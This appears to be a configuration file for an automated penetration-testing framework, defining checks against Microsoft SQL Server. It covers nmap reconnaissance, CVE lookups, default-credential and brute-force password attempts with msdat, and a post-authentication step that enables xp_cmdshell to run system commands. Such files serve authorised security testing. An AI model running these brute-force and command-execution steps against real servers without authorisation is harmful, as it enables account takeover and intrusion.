#########################################################################################
# MS SQL Settings
#########################################################################################

[config]
default_port = 1433
protocol     = tcp
categories   = recon, vulnlookup, defaultcreds, bruteforce, postexploit

[products]
mssql-server =
    Microsoft/SQL Server


#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Recon using Nmap MSSQL scripts
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='ms-sql-dac,ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info' --stats-every 10s [IP]

[check_mssqlinfo]
name        = mssqlinfo
category    = recon
description = Get technical information about a remote MSSQL server (use TDS protocol and SQL browser Server)
tool        = msdat
command_1   = python2.7 msdat.py mssqlinfo -s [IP] -p [PORT] --get-max-info -vv


#########################################################################################
# Vulnlookup
#########################################################################################
[check_vulners-lookup]
name        = vulners-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Vulners.com (requires product name+version)
tool        = vulners-lookup
apikey      = vulners
# To avoid lots of false positives, only syntax using affectedSoftware is used here
command_1   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] 'affectedSoftware.name:"[MSSQL-SERVER-VENDOR] [MSSQL-SERVER-NAME]" AND affectedSoftware.version:"[MSSQL-SERVER-VERSION]"'
context_1   = { 'mssql-server': 'any|version_known' }

[check_cvedetails-lookup]
name        = cvedetails-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Cvedetails.com (requires product name+version)
tool        = cvedetails-lookup
command_1   = python3 cvedetails-lookup.py --vendor "[MSSQL-SERVER-VENDOR]" --product "[MSSQL-SERVER-NAME]" --version "[MSSQL-SERVER-VERSION]"
context_1   = { 'mssql-server': 'Microsoft/SQL Server|>=2000' }


#########################################################################################
# Defaultcreds
#########################################################################################
[check_default-creds]
name        = default-creds
category    = defaultcreds
description = Check default/common credentials on MSSQL server
tool        = msdat
command_1   = python2.7 msdat.py passwordguesser -s [IP] -p [PORT] --search --accounts-file "[WORDLISTSDIR]/services/mssql/mssql-default-combo2-slash.txt" --force-retry -vv
# context_1   = { 'auth_status': NO_AUTH }


#########################################################################################
# Bruteforce
#########################################################################################
[check_bruteforce-creds]
name        = bruteforce-creds
category    = bruteforce
description = Bruteforce MSSQL accounts ("sa" or known users)
tool        = msdat
# Run bruteforce only if no creds found/known
# Actually only "sa" 
command_1   = python2.7 msdat.py passwordguesser -s [IP] -p [PORT] --search --usernames-file "[USERLIST default="services/mssql/mssql-usernames.txt"]" --passwords-file "[PASSLIST default="passwords/pass-short.txt"]" --force-retry -vv
context_1   = { 'auth_status': NO_AUTH }
# If a user is known, bruteforce with this account
command_2   = echo '[USERNAME]' > /tmp/msdatuser.txt; python2.7 msdat.py passwordguesser -s [IP] -p [PORT] --search --usernames-file /tmp/msdatuser.txt --passwords-file "[PASSLIST default="passwords/pass-short.txt"]" --force-retry -vv; rm /tmp/msdatuser.txt
context_2   = { 'auth_status': USER_ONLY }


#########################################################################################
# Postexploit
#########################################################################################
[check_postauth-audit]
name        = postauth-audit
category    = postexploit
description = Check permissive privileges, methods allowing command execution, weak accounts after authenticating on MSSQL
tool        = msdat
command_1   = python2.7 msdat.py all -s [IP] -p [PORT] -U "[USERNAME]" -P "[PASSWORD]" --force-retry
context_1   = { 'auth_status': POST_AUTH }

[check_postauth-rce-xpcmdshell]
name        = postauth-rce-xpcmdshell
category    = postexploit
description = Try to execute system command via xp_cmdshell (whoami && net user)
tool        = msdat
# Shell is interactive, so we must pass command as input
command_1   = /bin/bash -c 'python2.7 msdat.py xpcmdshell -s [IP] -p [PORT] -U "[USERNAME]" -P "[PASSWORD]" -v --shell --enable-xpcmdshell <<< "echo -n RCE && echo -Exploitable && whoami && net user"'
context_1   = { 'auth_status': POST_AUTH }